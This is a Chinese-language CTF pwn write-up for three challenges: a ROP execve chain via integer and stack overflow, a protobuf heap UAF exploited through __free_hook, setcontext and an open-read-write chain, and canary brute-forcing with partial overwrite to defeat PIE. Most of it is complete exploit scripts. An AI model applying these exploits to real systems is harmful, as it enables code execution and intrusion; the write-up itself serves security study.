烧烤摊儿(整数溢出+syscall)
漏洞一:有符合的整数

漏洞二:复制时候的栈溢出

疑惑:为什么canary保护不用绕过
虽然开了canary,但是可以看到gaiming函数并不会检测rbp-0x8处的值是否被破坏
为了明白这个点,我看了一下要爆破canary的题目
下面是需要爆破canary的

下面是本题的,不用绕过

所以,在有栈溢出的情况,是否需要爆款绕过canary,请查看汇编代码,看具体的执行流程。
ROPgadget的收集解法
因为题目的符号很多的没有,所以最好的方法,就是使用syscall
又因为题目没有什么限制,所以直接使用ropchain生成即可
- 发送很大的负数刷新金币
- 栈溢出出rop链接
比赛出现的问题:对于syscall一些执行函数的参数不够熟悉,后面去整理这方面的内容,方便写题更高效的去构造 
from pwn import *
from struct import pack
context.log_level = 'debug'
io = process("./shaokao")
# execve generated by ROPgadget
# Padding goes here
p = b''
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402404) # syscall
io.sendline('1')
io.sendline('1')
io.sendline('-100000')
io.sendline('4')
io.sendline('5')
pause( )
offset = 0x20 + 8
paylaod = offset*b'a' + p
io.sendline(paylaod)
pause( );
io.interactive()
使用ropper

我用ropper生存的攻击,是失败的。
但是,ropper很适合用来构造rop链时候的辅助
手动构造ROP链接

注意到,写入的name地址是固定的,所以可以考虑往这里写/bin/sh
虽然本题无system,但是存在syscall,所以考虑syscall调用

from pwn import *
elfname = './shaokao'
local = 1
if local:
    p = process(elfname)
else:
    p = remote('123.56.236.235', 30501)
elf = ELF(elfname)
context.log_level = 'debug'
context.arch = 'amd64'
context.binary = elfname
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
uu32 = lambda data: u32(data.ljust(4, b'\x00'))
uu64 = lambda data: u64(data.ljust(8, b'\x00'))
loginfo = lambda tag, addr: log.success(tag + " -> " + hex(addr))
def menu(ch):
    sla(">",str(ch))
def chuan(ch,num):
    menu(2)
    sla(". ",str(ch))
    sla("\n",str(num))
def game(cont):
    menu(5)
    sla("",cont)
#dbg()
chuan(2,'-100000')
menu(4)
poprdi=0x000000000040264f
poprsi=0x000000000040a67e
poprdx=0x00000000004a404b
poprax=0x0000000000458827
syscalret=0x00000000004230a6
name=0x4E60F0
payload=b"/bin/sh\x00"+b'\x00'*0x20+p64(poprdi)+p64(name)+p64(poprsi)+p64(0)+p64(poprdx)+p64(0)*2+p64(poprax)+p64(59)
payload+=p64(syscalret)
game(payload)
p.interactive( )
Strangetalkbot(protocal)
逆向分析
前言,本题是protocal Protobuf是由Google开发的一种序列化格式,用于越来越多的Android,Web,桌面和更多应用程序。它由一种用于声明数据结构的语言组成,然后根据目标实现将其编译为代码或另一种结构。

快速搜索magic可以定位到源码的仓库,当然也可以直接点击,就会发现了
提取结构体
保存为.proto文件
查找对应的结构参数方法
直接看符合表,然后一个个查



快捷键:ctrl + X 快速交叉引用
自动化提取分析
https://github.com/marin-m/pbtk 貌似行不通,openjdk-9我换成openjdk-11
sudo apt install python3-pip git openjdk-11-jre libqt5x11extras5 python3-pyqt5.qtwebengine python3-pyqt5
$ sudo pip3 install protobuf pyqt5 pyqtwebengine requests websocket-client
$ git clone https://github.com/marin-m/pbtk
$ cd pbtk
$ ./gui.py
使用protocal编译
sudo apt-get install protobuf-compiler
protoc --python_out=./ ./ctf.proto
最终的结果
只能使用字符一个个逆向分析。 特别留意 sint64 跟 int64 不是一个东西 使用proto3,因为更方便 最后我使用的是proto2,因为懒哈哈哈,复现脚本使用proto2的写得好 拷贝的时候,提示字符不是ASCII的问题,就是没有切换为英文输入法
syntax = "proto2";
message Devicemsg {
 required sint64 actionid =1;
 required sint64 msgidx =2;
 required sint64 msgsize =3;
 required bytes msgcontent=4;
}
# Generated by the protocol buffer compiler.  DO NOT EDIT!
# source: devicemsg.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
from google.protobuf import descriptor_pb2
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
DESCRIPTOR = _descriptor.FileDescriptor(
  name='devicemsg.proto',
  package='',
  syntax='proto2',
  serialized_pb=_b('\n\x0f\x64\x65vicemsg.proto\"R\n\tDevicemsg\x12\x10\n\x08\x61\x63tionid\x18\x01 \x02(\x12\x12\x0e\n\x06msgidx\x18\x02 \x02(\x12\x12\x0f\n\x07msgsize\x18\x03 \x02(\x12\x12\x12\n\nmsgcontent\x18\x04 \x02(\x0c')
)
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
_DEVICEMSG = _descriptor.Descriptor(
  name='Devicemsg',
  full_name='Devicemsg',
  filename=None,
  file=DESCRIPTOR,
  containing_type=None,
  fields=[
    _descriptor.FieldDescriptor(
      name='actionid', full_name='Devicemsg.actionid', index=0,
      number=1, type=18, cpp_type=2, label=2,
      has_default_value=False, default_value=0,
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      options=None),
    _descriptor.FieldDescriptor(
      name='msgidx', full_name='Devicemsg.msgidx', index=1,
      number=2, type=18, cpp_type=2, label=2,
      has_default_value=False, default_value=0,
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      options=None),
    _descriptor.FieldDescriptor(
      name='msgsize', full_name='Devicemsg.msgsize', index=2,
      number=3, type=18, cpp_type=2, label=2,
      has_default_value=False, default_value=0,
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      options=None),
    _descriptor.FieldDescriptor(
      name='msgcontent', full_name='Devicemsg.msgcontent', index=3,
      number=4, type=12, cpp_type=9, label=2,
      has_default_value=False, default_value=_b(""),
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      options=None),
  ],
  extensions=[
  ],
  nested_types=[],
  enum_types=[
  ],
  options=None,
  is_extendable=False,
  syntax='proto2',
  extension_ranges=[],
  oneofs=[
  ],
  serialized_start=19,
  serialized_end=101,
)
DESCRIPTOR.message_types_by_name['Devicemsg'] = _DEVICEMSG
Devicemsg = _reflection.GeneratedProtocolMessageType('Devicemsg', (_message.Message,), dict(
  DESCRIPTOR = _DEVICEMSG,
  __module__ = 'devicemsg_pb2'
  # @@protoc_insertion_point(class_scope:Devicemsg)
  ))
_sym_db.RegisterMessage(Devicemsg)
# @@protoc_insertion_point(module_scope)
静态IDA分析
对着代码进行逆向分析,猜测每个参数的功能及其函数的作用,并且重新命名

复原结构体的状况
有一个bss存size和一个bss存ptr

UAF漏洞
这里有误导性,其实把东西拿出来给result 但是实际变的是临时变量,真实的位置没有发生变化 其次,最后置于零的是你的输入 这里的置零不是指针置零,所以这个存在uaf漏洞

因为是2.31的UAF漏洞,所以感觉不会那么简单
查一下沙箱
攻击思路
因为有沙箱,能用orw,所以考虑使用orw配合使用setcontext进行读取flag即可
什么是setcontext https://www.cnblogs.com/pwnfeifei/p/15819825.html 其实就是SROP 用mov_rdx_rdi即可读取了 本题去了符号,难找到原型,不过你大体可以知道,它是长这样的
EXP
补充一个小技巧,使用glibc-all-in-one的时候 因为libc不一定一样 所以先patchelf 最后在目录中,把libc文件删除,换成远程给的即可 现在内容就是正确的了
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
irt = lambda :p.interactive()
dbg = lambda s=None:gdb.attach(p,s)
uu32 = lambda d:u32(d.ljust(4,b'\0'))
uu64 = lambda d:u64(d.ljust(8,b'\0'))
p = process('./pwn')
#p = remote('123.57.248.214',21202)
import devicemsg_pb2
def new(i,s,c):
        msg = devicemsg_pb2.Devicemsg()  #弄一个序列化结构体,其实就是类似JSON
        msg.actionid = 1  #结构体初始化
        msg.msgidx = i
        msg.msgsize = s
        msg.msgcontent = c
        sda(': \n',msg.SerializeToString()) #序列化
def free(i):
        msg = devicemsg_pb2.Devicemsg()
        msg.actionid = 4
        msg.msgidx = i
        msg.msgsize = 0
        msg.msgcontent = b''
        sda(': \n',msg.SerializeToString())
def show(i):
        msg = devicemsg_pb2.Devicemsg()
        msg.actionid = 3
        msg.msgidx = i
        msg.msgsize = 0
        msg.msgcontent = b''
        sda(': \n',msg.SerializeToString())
def edit(i,c):
        msg = devicemsg_pb2.Devicemsg()
        msg.actionid = 2
        msg.msgidx = i
        msg.msgsize = 0
        msg.msgcontent = c
        sda(': \n',msg.SerializeToString())
#tcache中每个链表最多7个节点(chunk)
#暴tcache,进入unsorted bin
for i in range(8):
        new(i,0xf0,b'')
for i in range(8):
        free(i)
#泄露main_arena
show(7)
rc(0x50)
#计算出libc,使用main_arena的工具
libc_base = uu64(rc(8))-0x1ecbe0
success('libc_base --> %s',hex(libc_base))
#泄露堆指针.指向的tcache的结构
show(0)
rc(8)
heap_base = uu64(rc(8))-0x10
success('heap_base --> %s',hex(heap_base))
pop_rdi_ret = libc_base+0x0000000000023b6a
pop_rsi_ret = libc_base+0x000000000002601f
pop_rdx_ret = libc_base+0x0000000000142c92
pop_rax_ret = libc_base+0x0000000000036174
syscall_ret = libc_base+0x00000000000630a9
free_hook = libc_base+0x1eee48
edit(6,p64(free_hook) + flat([
        libc_base+0x0000000000025b9b, #利用了csu的gadget
        0,
        heap_base+0xad0,
        pop_rdi_ret,
        heap_base+0xad0,
        pop_rsi_ret,
        0,
        pop_rdx_ret,
        0,
        pop_rax_ret,
        2,
        syscall_ret, # open
        pop_rdi_ret,
        3,
        pop_rsi_ret,
        heap_base+0xad0,
        pop_rdx_ret,
        0x30,
        pop_rax_ret,
        0,
        syscall_ret, # read
        pop_rdi_ret,
        1,
        pop_rax_ret,
        1,
        syscall_ret, # write
]))
new(8,0xf0,flat({ #使用flat将多个序列生成单一序列
        0x00: 0x67616C662F, # /flag  #在偏移0x00处存入flag字段
        0x28: libc_base+0x00000000000578c8, #在偏移0x28处存入地址
        0x48: heap_base+0xfa0  #指向字符串的位置
}, filler=b'\x00')) #最后有b'\x00' 填充剩余的位置
new(9,0xf0,p64(libc_base+0x0000000000154dea)) # rbp=[rdi+0x48]; rax=[rbp+0x18]; call [rax+0x28]
#dbg('b *(free+161)\nc')
free(8)
irt()
调试的全过程
泄露Libc
#tcache中每个链表最多7个节点(chunk)
#暴tcache,进入unsorted bin
for i in range(8):
        new(i,0xf0,b'')
for i in range(8):
        free(i)
#泄露main_arena
show(7)
rc(0x50)
#计算出libc,使用main_arena的工具
libc_base = uu64(rc(8))-0x1ecbe0
success('libc_base --> %s',hex(libc_base))

泄露堆地址
#泄露堆指针.指向的tcache的结构
show(0)
rc(8)
heap_base = uu64(rc(8))-0x10
success('heap_base --> %s',hex(heap_base))

寻找free_hook

修改idx=6,即目前第一个tcache的fd和内容—为rop链


一点迷思迷思迷思迷思!!!: >
> 为什么都是用heap_base+ad0 > 因为,tcache就是一个堆,我们泄露出来的,是堆的分配收地址 > 这是按内存对齐的!!! > 而只要我们加ad0,就能到我们想要去的地方,即第7个chunk
这里利用了csu的gadget
edit(6,p64(libc_base+0x1eee48) + flat([
        libc_base+0x0000000000025b9b,
        0,
        heap_base+0xad0, #第7个chunk,idx=6
        pop_rdi_ret,
        heap_base+0xad0,
        pop_rsi_ret,
        0,
        pop_rdx_ret,
        0,
        pop_rax_ret,
        2,
        syscall_ret, # open
        pop_rdi_ret,
        3,
        pop_rsi_ret,
        heap_base+0xad0,
        pop_rdx_ret,
        0x30,
        pop_rax_ret,
        0,
        syscall_ret, # read
        pop_rdi_ret,
        1,
        pop_rax_ret,
        1,
        syscall_ret, # write
]))
往分配出来的新chunk,即原先idx=6的chunk进行写
通过AIT+T寻找 不对,还有其他方法:搜索libc中的gadget(使用ropper)


迷思:为什么还可以在原来的基础上编辑
因为又一次创建了缓冲,所以可以在改缓冲上进行编辑,利用这个缓冲
new(8,0xf0,flat({ #使用flat将多个序列生成单一序列
        0x00: 0x67616C662F, # /flag  #在偏移0x00处存入flag字段
        0x28: libc_base+0x00000000000578c8, #做栈迁移
        0x48: heap_base+0xfa0  #指chunk,rop
}, filler=b'\x00')) #最后有b'\x00' 填充剩余的位置
修改free_hook内容
因为rdi是free时候的指针,而【rdi】就等于取chunk里面的内容进行操作了,这样就能完美劫持程序流程,进行rop
new(9,0xf0,p64(libc_base+0x0000000000154dea)) # rbp=[rdi+0x48]; rax=[rbp+0x18]; call [rax+0x28]
释放chunk8,即原先idx=6,就可以进行rop
free(8)
最终的图解
补充一个点:栈迁移 完成两个点即可:
- 修改ebp为目标的栈空间
- leave ret为到目标的点,并执行下一条指令
- 先找gadget,再进行栈排布
还有,保护全开,记得能泄露就泄露出来

其他解法
这种是属于常见的劫持程序流程到堆上,核心都是控制rsp到堆
通过SROP+ROP链
关键点:控制rdx,因为是2.31的版本 能用orw,那就用movrdx_rdi配合setcontext函数进行orw读flag了
from pwn import *
from struct import pack
from ctypes import *
def s(a):
  p.send(a)
def sa(a, b):
  p.sendafter(a, b)
def sl(a):
  p.sendline(a)
def sla(a, b):
  p.sendlineafter(a, b)
def r():
  p.recv()
def pr():
  print(p.recv())
def rl(a):
  return p.recvuntil(a)
def inter():
  p.interactive()
def debug():
  gdb.attach(p)
  pause()
def get_addr():
  return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
  return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
\#p = process("./pwn2")
p = remote('47.94.206.10', 34904)elf = ELF("./pwn2")
libc = ELF('./libc-2.31.so')
import sys
sys.path.append('./output')
import devicmesg_pb2
def add(idx, data_len, data):
    msg = devicmesg_pb2.devicmesg()
    msg.actionid = 1
    msg.msgidx = idx
    msg.msgsize = data_len
    msg.msgcontent = data
    serialized_msg = msg.SerializeToString()
    sa(b'now: \n', serialized_msg)
def edit(idx, data):
    msg = devicmesg_pb2.devicmesg()
    msg.actionid = 2
    msg.msgidx = idx
    msg.msgsize = 1
    msg.msgcontent = data
    serialized_msg = msg.SerializeToString()
    sa(b'now: \n', serialized_msg)
def show(idx):
    msg = devicmesg_pb2.devicmesg()
    msg.actionid = 3
    msg.msgidx = idx
    msg.msgsize = 1
    msg.msgcontent = b'a'
    serialized_msg = msg.SerializeToString()
    sa(b'now: \n', serialized_msg)
def free(idx):
    msg = devicmesg_pb2.devicmesg()
    msg.actionid = 4
    msg.msgidx = idx
    msg.msgsize = 1
    msg.msgcontent = b'a'
    serialized_msg = msg.SerializeToString()
    sa(b'now: \n', serialized_msg)
for i in range(1, 10):
    add(i, 0xf0, b'a'*0xf0)
for i in range(1, 9):
    free(i)
show(8)
p.recv(0x38)
heap_base = u64(p.recv(8)) - 0x1470
rl(b'\x7f')
libc_base = get_addr() - 0x1ecbe0 #
rax = libc_base + 0x36174
rdi = libc_base + 0x23b6a
rsi = libc_base + 0x2601f
rdx = libc_base + 0x142c92
rsp = libc_base + 0x2f70a
ret = libc_base + 0x22679
syscall = libc_base + 0x2284d
mov_rdx_rdi_ = libc_base + 0x151990
setcontext = libc_base + 0x54F5D
buf = heap_base + 0x3000
flag = heap_base + 0x2088
free_hook = libc_base + libc.sym['__free_hook']
add(10, 0x20, b'a')
add(11, 0x20, b'a')
free(11)
free(10)
edit(10, p64(free_hook - 8))
add(12, 0x20, b'a')
payload = b'\x00'*8 + p64(mov_rdx_rdi_)
add(13, 0x20, payload)
add(14, 0xc0, (p64(heap_base + 0x1e20)*2 + p64(setcontext)*4).ljust(0xa0, b'\x00') + p64(heap_base + 0x640) + p64(ret))
open_ = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
puts = libc_base + libc.sym['puts']
orw = p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(open_)
orw += p64(rdi) + p64(3) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x30) + p64(read)
orw += p64(rdi) + p64(1) + p64(write)
orw += b'/flag\x00\x00\x00'
edit(2, orw)
free(14)
pr()
通过SROP执行shellcode
from pwn import *
from struct import pack
import binascii
import pp_pb2
from google.protobuf import message
import subprocess
elfname = './pwn'
libcname = './libc-2.31.so'
local = 1
if local:
    p = process(elfname)
else:
    p = remote('123.56.135.185', 23536)
elf = ELF(elfname)
libc = ELF(libcname)
context.log_level = 'debug'
context.arch = 'amd64'
context.binary = elfname
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
uu32 = lambda data: u32(data.ljust(4, '\x00'))
uu64 = lambda data: u64(data.ljust(8, '\x00'))
loginfo = lambda tag, addr: log.success(tag + " -> " + hex(addr))
cont = pp_pb2.devicemsg()
def add(idx,size,mem):
    cont.actionid=2
    cont.msgidx=idx*2
    cont.msgsize=size
    cont.msgcontent=mem
    sa("now:",cont.SerializeToString())
def delete(idx):
    cont.actionid = 8
    cont.msgidx = idx * 2
    cont.msgsize=4
    cont.msgcontent='a'
    sa("now:",cont.SerializeToString())
def show(idx):
    cont.actionid = 6
    cont.msgidx = idx * 2
    sa("now:",cont.SerializeToString())
def edit(idx,size,mem):
    cont.actionid = 4
    cont.msgidx = idx * 2
    cont.msgsize = size
    cont.msgcontent = mem
    sa("now:", cont.SerializeToString())
for i in range(9):
    add(i+1,0x80,'a'*0x80)
for i in range(9,0,-1):
    delete(i)
show(2)
ru('\n')
p.recv(0x38)
heapaddr=u64(p.recv(6).ljust(8,'\x00'))-0x540
loginfo("heap",heapaddr)
p.recv(0x1a)
libcbase=u64(p.recv(6).ljust(8,'\x00'))-0x1ecc10
loginfo("libc",libcbase)
freehook=libcbase+libc.sym['__free_hook']
setcontext=libcbase+libc.sym['setcontext']
gadget=0x0000000000151990+libcbase
edit(3,0x20,p64(freehook))
add(11,0x80,p64(gadget).ljust(0x80,'\x00'))
frame = SigreturnFrame()
mprotect=libcbase+libc.sym['mprotect']
flagaddr=heapaddr+0x2000
shellcode=shellcraft.open('flag',0,0)
shellcode+=shellcraft.read(3,flagaddr,0x50)
shellcode+=shellcraft.write(1,flagaddr,0x50)
frame.rsp = heapaddr+0x1618
frame.rdi=heapaddr+0x1000
frame.rsi=0x1000
frame.rdx=7
frame.rip = mprotect
print("len->"+hex(len(str(frame))))
add(12,0xf0,p64(setcontext+61)+p64(heapaddr+0x1500-0x40)+str(frame)[0x30:0x110])
conts="flag"+"\x00"*4+p64(heapaddr+0x1620)+asm(shellcode)
add(13,len(conts),conts)
#dbg()
delete(12)
p.interactive()
funcanary(fork爆canary与partial write绕PIE)
静态分析




很够的一点:存在一个IDA无法识别的后门函数
找到这个后门的方法: shift + F2 查找 string 发现敏感字符串 Alt + T 查找所有引用的字符串 最后就找到了这个后门函数
因为开启了PIE,所以要用这个后门,还得绕过PIE的保护。
partial write就是利用了PIE技术的缺陷。我们知道,内存是以页载入机制,如果开启PIE保护的话,只能影响到单个内存页,一个内存页大小为0x1000,那么就意味着不管地址怎么变,某一条指令的后三位十六进制数的地址是始终不变的。因此我们可以通过覆盖地址的后几位来可以控制程序的流程
注意:只有后三位不变!!!
最终思路
想要利用栈溢出,必须绕过PIE和CANARY保护,由于此处是read可以不接受换行符,我们可以用pwntools中的p.send然后爆破canary,爆破完canary之后,由于overflow函数的返回地址是一个TEXT段上的地址(rebase(0x1329)),并且发现很狗的是程序中还隐藏了一个IDA识别不出来的后门函数。
脚本一:爆破第4位
from pwn import *
elfname = './funcanary'
#libcname = './libc.so.6'
p = process(elfname)
elf = ELF(elfname)
context.log_level = 'debug'
context.arch = 'amd64'
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
canary = '\x00'
for j in  range(7):
    for i in range(0x100):
        payload = 0x68*'a' + canary + chr(i)
        sa(b"welcome\n",payload)
        a = p.recvline()
        if b'have fun' in a:
            canary += chr(i)
            break
print(canary)
i=0
while True:
    sa("welcome\n", b'd' * 0x68 + flat(canary) +b'm'*8+ p8(0x2E) +p8(0x2+0x10*i))
    i=i+1
    if(i==0x10):
        i=0
    if b"flag" in p.recvline():
        break;
脚本二:利用页的大小累加控制第4位
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
#io = process('./funcanary' )
io = remote('123.56.135.185',42164)
io.recvuntil('welcome\n')
canary = b'\x00'
for k in range(7):
    for i in range(0x100):
        io.send('a'*0x68 + canary + chr(i))
        a = io.recvuntil("welcome\n")
        #print(a)
        if "fun" in a:
            canary += chr(i)
            print("canary: ", canary)
            break
cat_flag = 0x0231
for i in range(16):
    io.send('a'*0x68 + canary + 'b'*8 + p16(cat_flag))
    a = io.recvuntil("welcome\n")
    cat_flag += 0x1000
    if "flag" in a:
        print(a)
        break
io.interactive()
 
 
